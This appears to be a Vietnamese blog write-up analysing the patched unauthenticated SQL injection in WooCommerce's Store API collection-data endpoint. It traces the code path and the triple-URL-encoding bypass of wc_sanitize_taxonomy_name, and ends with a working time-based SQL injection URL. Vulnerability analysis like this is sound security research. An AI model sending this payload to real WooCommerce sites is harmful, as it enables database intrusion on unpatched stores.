- vừa được xem lúc

Phân tích lỗi Unauthen SQL injection Woocommerce

0 0 172

Người đăng: cmOs

Theo Viblo Asia

Tóm tắt

Woocommerce là wordpress plugin cho phép xây dựng website bán hàng miễn phí. Hiện tại có hơn 5 triệu website đang sử dụng plugin này.

Lỗi unauthenticated SQLi của Woocommerce xảy ra do sử dụng hàm wc_sanitize_taxonomy_name làm sạch dữ liệu trước khi đưa vào truy vấn SQL. Nhưng hàm này lại có thể bypass thông qua triple urlencode.

Còn một lỗi nữa là authenticated SQLi do sử dụng esc_like để làm sạch dữ liệu cho câu truy vấn cộng với việc ghép chuỗi nên lỗi SQLi đã xảy ra.

Tản mạn

Bạn có thể bỏ qua phần này và vào luôn phần phân tích.

Hôm qua, ngày 14 tháng 07 năm 2021, mình đi phượt từ quê lên Hà Nội (khoảng 100 cây) toàn thân mệt mỏi rã rời. Lúc đi qua địa phận Hưng Yên, đoạn từ KM 32 đến KM 17 trên QL5 (AH14), mình gặp 3 chốt giao thông và được mời vào làm việc cả 3. Các chú thấy mình không có gương xe liền mời vào làm việc theo đúng quy trình. Sau khi làm việc xong các chú mới biết:

Xe không gương không phải là xe không có gương

Gương rơi, gương rụng, gương gãy mất rồi

Và mình cũng trình bày, do còn là sinh viên nghèo nên các chú đã thương xót và bảo:

Về lắp gương vào nhé

Xong việc, mình cảm ơn các và lên xe rời đi. Tất cả chỉ mất 1 phút 30 giây.

Lên đến nơi, vào khoảng 23:10 anh team lead (@vigov5) có bảo bọn mình rằng Thằng Woocommerce dính Unauthen SQL injection. Nhưng lúc đó muộn và cũng mệt nên mình không nghiên cứu ngay mà để đến sáng rồi tính tiếp.

Tin này có được là do ông dawgyg này share trên twitter.

Phân tích

Sáng thức dậy, sau khi họp team xong mình liền tiến hành việc phân tích lỗi. Mình nghĩ rằng lỗi này mới như vậy chắc chưa có bản vá nhưng không khi vào xem thì thấy đã có bản vá cách 5 tiếng trước rồi.

Vậy thì công việc giờ đơn giản hơn nhiều, chỉ việc xem diff và phân tích tích không cần phải tìm hiểu lỗi nằm ở đoạn nào nữa.

Như ta thấy thì có 2 chỗ code được thay đổi:

  1. Dòng 280 includes/data-stores/class-wc-webhook-data-store.php
  2. Dòng 86 packages/woocommerce-blocks/src/StoreApi/Utilities/ProductQueryFilters.php

Sau khi phân tích thì mình biết được lỗi unauthen SQL injection là ở đoạn code thứ 2.

Đoạn code 1 cũng có lỗi SQL injection. Cái này bạn đọc tự nghiên cứu nhé vì nó dễ hơn.

Tìm endpoint

Điều đầu tiên là cần tìm endpoint để có thể thực thi được hàm gây ra lỗi.

Đầu tiên mình flow ngược lên xem hàm gây ra lỗi được gọi từ đâu, từ đó có thể tìm được endpoint để gọi tới hàm này. Dưới là các bước gọi hàm:

  1. /packages/woocommerce-blocks/src/StoreApi/Utilities/ProductQueryFilters.php:86 hàm get_attribute_counts
  2. /packages/woocommerce-blocks/src/StoreApi/Routes/ProductCollectionData.php:110 hàm get_route_response
  3. /packages/woocommerce-blocks/src/StoreApi/RoutesController.php:96 hàm initialize
  4. /packages/woocommerce-blocks/src/RestApi.php:28 hàm __construct

Mục tiêu bây giờ là nhảy được vào hàm get_attribute_counts tương ứng với bước số 1.

Giờ phải đi từ dưới đi lên.

Theo flow này, mình tìm được đoạn code đăng ký REST API /packages/woocommerce-blocks/src/StoreApi/RoutesController.php:57

	/** * Register defined list of routes with WordPress. */ public function register_routes() { foreach ( $this->routes as $route ) { register_rest_route( $route->get_namespace(), $route->get_path(), $route->get_args() ); } }

Đoạn code trên kết hợp với đoạn code định nghĩa danh sách các API ở dưới (RoutesController.php:70)

	protected function initialize() { global $wp_version; $cart_controller = new CartController(); $order_controller = new OrderController(); $this->routes = [ ... 'product-collection-data' => new Routes\ProductCollectionData( $this->schemas->get( 'product-collection-data' ) ), ... ]; // Batching requires WP 5.6. if ( version_compare( $wp_version, '5.6', '>=' ) ) { $this->routes['batch'] = new Routes\Batch(); } }

Thì mình đã có được enpoint để nhả tới bước 2.

/wp-json/wc/store/products/collection-data

Cuối cùng, endpoint để có thể nhảy tới /packages/woocommerce-blocks/src/StoreApi/Utilities/ProductQueryFilters.php:86 trong bước 1 là:

/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=and&calculate_attribute_counts[0][taxonomy]=xxx

Phân tích lỗi

Đoạn code có lỗi:

	public function get_attribute_counts( $request, $attributes = [] ) { global $wpdb; ... $attributes_to_count = array_map( 'wc_sanitize_taxonomy_name', $attributes ); $attributes_to_count_sql = 'AND term_taxonomy.taxonomy IN ("' . implode( '","', $attributes_to_count ) . '")'; $attribute_count_sql = " SELECT COUNT( DISTINCT posts.ID ) as term_count, terms.term_id as term_count_id FROM {$wpdb->posts} AS posts INNER JOIN {$wpdb->term_relationships} AS term_relationships ON posts.ID = term_relationships.object_id INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id ) INNER JOIN {$wpdb->terms} AS terms USING( term_id ) WHERE posts.ID IN ( {$product_query_sql} ) {$attributes_to_count_sql} GROUP BY terms.term_id "; $results = $wpdb->get_results( $attribute_count_sql ); // phpcs:ignore return array_map( 'absint', wp_list_pluck( $results, 'term_count', 'term_count_id' ) ); }

Mình đã biết từ trước là có lỗi SQL injection nên mình tìm hàm thực thi câu truy vấn SQL

$results = $wpdb->get_results( $attribute_count_sql );

Câu lệnh trên nhận vào tham số là $attribute_count_sql, biến này lại ghép từ biến $attributes_to_count_sql.

Biến $attributes_to_count_sql là kết quả đầu ra của hàm array_map

$attributes_to_count = array_map( 'wc_sanitize_taxonomy_name', $attributes );

Tham số $attributes của hàm array_map chính là calculate_attribute_counts[0][taxonomy]=xxx ở biến $_GET.

Tham số đầu tiên là wc_sanitize_taxonomy_name (đây là callback của hàm array_map). Do vậy, mình đi đọc xem hàm này nó làm gì.

function wc_sanitize_taxonomy_name( $taxonomy ) { return apply_filters( 'sanitize_taxonomy_name', urldecode( sanitize_title( urldecode( $taxonomy ) ) ), $taxonomy );
}

Hàm wc_sanitize_taxonomy_name thực hiện làm sạch dữ liệu bằng cách gọi hàm sanitize_title (hàm của worpdress).

By default, converts accent characters to ASCII characters and further limits the output to alphanumeric characters, underscore (_) and dash (-) through the ‘sanitize_title’ filter.

Đào sâu hơn nữa thì hàm sanitize_title làm sạch dữ liệu theo dạng URL. tức là đầu ra sẽ là các ký tự: a-zA-z0-9, -, _, %.

Điểm đáng chú ý ở đoạn code này là sử dụng hàm urldecode lồng nhau. Đây là mấu chốt để ta có thể bypass hàm làm sạch dữ liệu

 urldecode( sanitize_title( urldecode( $taxonomy ) ) )

Khai thác

Phân tích lỗi xong xuôi, nghe thì ngon lành rồi. Bây giờ là lúc POC lại xem có thật là lỗi hay không!

Mã khai thác

/wordpress/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=and&calculate_attribute_counts[1][taxonomy]=xxx%252522%252529%252520or%252520sleep%2525280%25252e1%252529%252523

Kết quả POC delay 2,759s

Bài phân tích xin kết thúc ở đây!

Bình luận

Bài viết tương tự

- vừa được xem lúc

Linux Hardening and System Auditing (P1)

. Ngày nay, các hệ thống Linux được sử dụng trong suốt quá trình tính toán, từ các hệ thống nhúng đến hầu như tất cả các siêu máy tính, đồng thời đảm bảo một vị trí quan trọng trong các hệ thống máy chủ trên toàn thế giới. Linux đem lại cho người dùng khả năng tùy biến cao, sự ổn định và độ tin cậy

0 0 43

- vừa được xem lúc

Tìm bug với Eyewitness

. Chào các bạn, trong bài này mình sẽ viết về tool Eyewitness. Eyewiteness có tính năng chính là chụp hình lại giao diện trang web sau đó tạo một report thông qua file .

0 0 35

- vừa được xem lúc

Tôi đã debug code PHP như nào!

. Nhân dịp đầu xuân năm mới, mình xin gửi lời chúc an lành tới tất cả thành viên của viblo.asia.

0 0 56

- vừa được xem lúc

OAuth 2.0 và vài vấn đề bảo mật liên quan (Phần 2)

III. Demo một số tấn công vào cơ chế OAuth. Trong phần này mình sẽ demo một số kiểu tấn công của OAuth dựa trên các bài lab được thiết kế bởi Portswigger. a.

0 0 97

- vừa được xem lúc

OAuth 2.0 và vài vấn đề bảo mật liên quan (Phần 1)

Trong thời đại công nghệ ngày nay, việc đăng nhập bằng các tài khoản của các nền tảng khác không phải điều gì xa lạ đối với mỗi người dùng chúng ta. Việc này khả thi nhờ một vài cơ chế khác nhau, một trong số đó là OAuth 2.

0 0 50

- vừa được xem lúc

Hành trình pass OSCP trong lần thi đầu tiên (2020)

Vào một chiều đông 17/12/2020, tôi nhận được cái email thông báo đã pass OSCP ngay lần thử đầu tiên. Sau đó, tôi bắt đầu tìm hiểu về Security và quyết định học cái gì đó cho riêng mình.

0 0 195